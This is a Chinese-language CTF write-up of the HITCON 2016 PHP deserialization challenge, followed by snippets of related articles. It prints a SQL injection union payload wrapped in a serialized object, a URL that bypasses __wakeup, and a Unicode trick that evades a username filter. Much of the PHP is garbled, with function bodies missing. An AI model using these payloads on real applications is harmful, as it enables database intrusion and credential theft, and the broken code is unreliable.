HITCON 2016 PHP反序列化漏洞

2021-10-09 13:27:53 字數 3243 閱讀 7324

本題目需要兩個檔案:config.php和unserialize.php。

<?php 

$db_host

='127.0.0.1'

;$db_name

='test'

;$db_user

='root'

;$db_pass

='password'

;$debug

= @$_get

['get'];

$flag

="hitcon"

;?>

只需要執行一條create database test即可,密碼可以換成你自己的。

<?php 

include

"config.php"

;class

hitcon

function

show()

else

}function

login()

$obj

=$this

->

__query

($sql);

if($obj

!=false

&&$obj

->

role

=='admin'

)else

}function

source()

function

__conn()

mysql_query

("set names utf8");

mysql_query

("set sql_mode = 'strict_all_tables'");

}function

__query

($sql

,$back

=true)}

function

__die

($msg

)function

__close()

function

__destruct()

else

$this

->

__close()

;}function

__wakeup()

}}if(

isset

($_get

["data"])

)else

?>

執行unserialize時,會自動觸發__wakeup()函式。當序列化字串描述的屬性比真實屬性多時,就會跳過wakeup函式。這裡跳過後直接呼叫destruct函式。

**段底部:存在乙個if條件判斷,如果存在get方式傳入資料,那麼執行反序列化。因此考慮payload形式:get=1 &data=反序列化字串。

執行__destruct()函式會直接呼叫__conn()函式,自動為資料庫新增使用者條目。

想要爆出__login()函式的flag,必須得有username和password。這時必須利用show函式中的sql語句進行查詢。

<?php 

class

hitcon

}$args

=array

("***' union select password,username,role from users where username='orange'--+");

$a=newhitcon

('show'

,$args);

echo

serialize($a

);?>

unserialize.php?get=

1&data=o:6:

"hitcon":3

:}

%00hitcon%00method

\x00 + 類名 + \x00 + 變數名 -> 反序列化為private變數

\x00 + * + \x00 + 變數名 -> 反序列化為protected變數

而\x00在ascii編碼是null的意思,但寫在url中必須進行編碼,也就是%00

***』 union select password,username,role from users where username=『orange』–+

注意:輸出的明明是username,如何顯示出密碼?

只要查詢的時候把username和password的順序打亂即可。

完整的sql語句為:

select * from users where username=『***』 union select password,username,role from users where username=『orange』

「hitcon」:3

在序列化字串中只描述了兩個屬性:method和args,但是為了繞過__wakeup()函式,要把屬性個數增大。

上一步爆出了資料庫密碼,這時需要把使用者名稱和密碼傳入login()函式中,獲取flag。

login()函式對傳入的username進行了過濾,即username和sql不能出現orange。

if

($username

=='orange'

||stripos

($sql

,'orange')!=

false

)

這裡就要考慮使用特殊字元繞過。

可以用à,á,â,ã,ä,å們來代替a進行繞過。

詳細剖析傳送門:的utf-8編碼與字元差異 上圖

php反序列漏洞 例項 PHP反序列化漏洞

雖然胳膊廢了,也不能停止我更新的腳步。寫個簡單點的吧 0x00 何為類和物件 說到序列化和反序列化就不得不提到兩個詞 類和物件 那麼什麼是類,什麼是物件 教科書式的答案是類是物件的抽象,物件是類的例項 那啥叫個抽象,啥叫個例項呢 簡單的說,類就是物件的乙個標準模板,而物件就是按照模板做出來的實物 一...

PHP反序列化

php反序列化漏洞 一 序列化定義 序列化 serialization 在電腦科學的資料處理中,是指將資料結構或物件狀態轉換成可取用格式 例如存成檔案,存於緩衝,或經由網路中傳送 以留待後續在相同或另一台計算機環境中,能恢復原先狀態的過程。概念很容易理解,其實就是將資料轉化成一種可逆的資料結構,自然...

php反序列化

php序列化 將物件或變數轉換成字串。php反序列化 是將字串轉換成原來的變數。serialize serialize 函式用於序列化物件或陣列,並返回乙個字串。serialize 函式序列化物件後,可以很方便的將它傳遞給其他需要它的地方,且其型別和結構不會改變。sites array google...